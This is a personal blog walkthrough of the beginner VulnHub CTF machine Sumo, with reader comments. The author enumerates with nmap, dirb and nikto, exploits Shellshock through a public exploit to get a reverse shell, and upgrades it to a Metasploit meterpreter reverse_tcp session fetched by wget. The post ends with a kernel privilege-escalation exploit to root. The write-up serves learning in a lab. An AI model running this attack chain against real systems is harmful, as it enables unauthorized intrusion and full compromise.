CTF's Walkthroughs

Sumo – CTF Walkthrough

This post provides the steps on how to compromise the CTF Sumo.

Initial Analysis

As always, my first step is to scan the virtual machine with NMAP, to identify what ports are open.

nmap -p-

This identified two open ports. HTTP and SSH.

Checking out the website

Usually, I find it useful to check the website out first, as that’s where the vulnerabilities usually lie.

The main page doesn’t show anything other than a default page. Scanning it with DIRB at this point to find common directories seems sensible.

Scan – DIRB


DIRB has a default word list, and running the above command revealed no intriguing directories. I re-ran the command, specifying the big.txt wordlist.

dirb /usr/share/dirb/wordlists/big.txt

This didn’t return anything interesting either!

Let’s try specifying some file extensions, such as .html and .php

dirb /usr/share/dirb/wordlists/big.txt -X .html,.php

Again, nothing! I tried with every wordlist in /usr/share/dirb/wordlists and it returned no results, other than a /cgi-bin/test script which didn’t seem to be of any use. At least for now.

Scan – Nikto

Another tool that is useful is Nikto. I ran a Nikto command and this revealed a little bit more.

nikto -h

This revealed a couple of potential attack vectors, including shellshock, and the ability to brute force file names due to one of the Apache modules.

I’ll be honest. I spent ages googling various different things at what I could exploit. It is Friday, I have had a long week, and I’m a few beers down. After googling numerous ways to find out how to exploit shellshock however, I found an exploit, and was able to exploit the shellshock vulnerability with it!

Exploit 34900 (Shellshock remote command injection)

Once I downloaded the exploit on my Kali machine, I ran the Python command, and suddenly I had a shell.

python payload=reverse rhost= rport=4444 lhost= lport=4444 pages=/cgi-bin/test

The shell was very buggy though, and when I ran a command, it wasn’t until the next command I run that I seemed to see the output of the first command. I need to find another way to get another decent shell, as this is not stable.

I fired up msfconsole again, and set my options.

sudo msfconsole
use multi/script/web_delivery
set LPORT 4447
set target Linux
set payload linux/x86/meterpreter_reverse_tcp

This gave me a wget command which I ran in the shell on the server, and my meterpreter session was started (I had to navigate to the /tmp directory before I could run the wget command, as I did not have write permissions in the current directory). I was able to enter the meterpreter session by using the following command:

sessions -i 1 (Bare in mind, if this isn't your first session, the session number will not be 1. You can run sessions -i without the number to show the sessions available)

Finally. I now have a more reliable shell using metasploit, and the meterpreter payload.

Root privilege escalation

Now that I have a shell (that isn’t incredibly buggy), I need to find out how to escalate my privileges. I had a nose around the directories, but couldn’t really find anything.

I checked for SUID binaries, but unfortunately, it didn’t return any useful results (that I could see, anyway).

find / perm -u=s -type f 2 >/dev/null

I also checked for any files that had 777 permissions, but again, there were no useful results.

find / -type f -perm -0777

I even installed pspy. You can do this by using wget. pspy identifies cronjobs running on the server, including ones being run by other users. Unfortunately, this was also a dead end and revealed nothing of use.

The next step I took was to check if there was any kernel vulnerabilities. I checked the kernel version using the following command:

uname -a

Immediately, I could see it looked fairly old, so I looked for vulnerabilities. There’s a useful tool installed on Kali called searchsploit. This allows you to search for vulnerable applications that have exploits available. Now that I had the kernel version number, I decided to use searchsploit to see if it was known to be vulnerable.

searchsploit 3.2.0

This showed there was a vulnerability in the kernel, which allows for local privilege escalation. An exploit path is included so we can try and exploit this.

I moved the exploit to my web server hosted on Kali, and then used wget to retrieve the file onto the CTF (baring in mind, I was in the /tmp directory when I ran the wget command to ensure I had write privileges).

When the file was on the CTF, I compiled it with GCC.

gcc 33589.c -O2 -o exploit

The exploit compiled, and I was then able to run it:

./exploit 0

The exploit was successful, and I had the root shell.

This CTF is marked as beginner. It’s interesting how we all find things difficult in different ways – I would certainly not consider this beginner level. I really enjoyed this CTF though – I learnt a thing or two. It is available to download on VulnHub.

By Thomas Williams

Thomas Williams is learning ethical hacking and hacks things as a hobby. Learn new hacking skills, follow up-to-date cyber security news, and play along with CTFs.

8 replies on “Sumo – CTF Walkthrough”

hello,In the privilege promotion part, there is no root return after compiling and executing in my MSF session. Have you ever been in this situation

I experienced the same. It timeouts when I run the compiled. If I compile it on Kali and transfers over to Sumo, it runs with an error message:
./33589 0
33589: 33589.c:116: main: Assertion `p = memmem(code, 1024, &needle, 8)’ failed.
IDT addr = 0xffffffff81dd7000
Using int = 3 with offset = -49063

Searched online to no avail.

There is no error prompt

www-data@ubuntu:/tmp$ ./root 0
./root 0
IDT addr = 0xffffffff81dd7000
Using int = 3 with offset = -49063

Then the session closes directly

I’m not sure then sorry.
Perhaps try recompiling the exploit. I would also recommend getting an interactive shell – once you’ve entered the shell with ‘sessions -i’, run these commands in this order:

1) shell
2) python -c ‘import pty; pty.spawn(“/bin/bash”)’

If second command fails with an error saying python wasn’t found, then run this command:

whereis python

This will give you the correct location for the python binary (it may be named python3.4 or something similar) – once you’ve established the correct name, adjust the command so it calls the correct binary.

Hi Thomas, thanks for sharing!
It was my first CTF challenge completed and was amazing how I could learn a lot of linux commands with it.
Have you been able to get the root password? I didn’t manage to.
Also, a small difference is that I had to compile the 33589.c file on the Kali machine instead on the Sumo one (it gave me a kind of “cc1” error). Then I opened a simple python server with “python -m SimpleHTTPServer” and download the compiled exploit on the machine and got the root.

Hi Federico. Thanks for your comment.

I’m glad to see you’ve learnt a lot from it. I think the compilation error you got may be due to the walkthrough missing steps on how to get an interactive shell. I will update it as soon as possible so it includes this, but if you refer to the previous comments on this post, you can see the steps to get an interactive shell which should help resolve the issues with compilation.

I didn’t get the root password, but I never look for it really. As long as I have root access then that’s all I do. Good luck on your future endeavours.

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.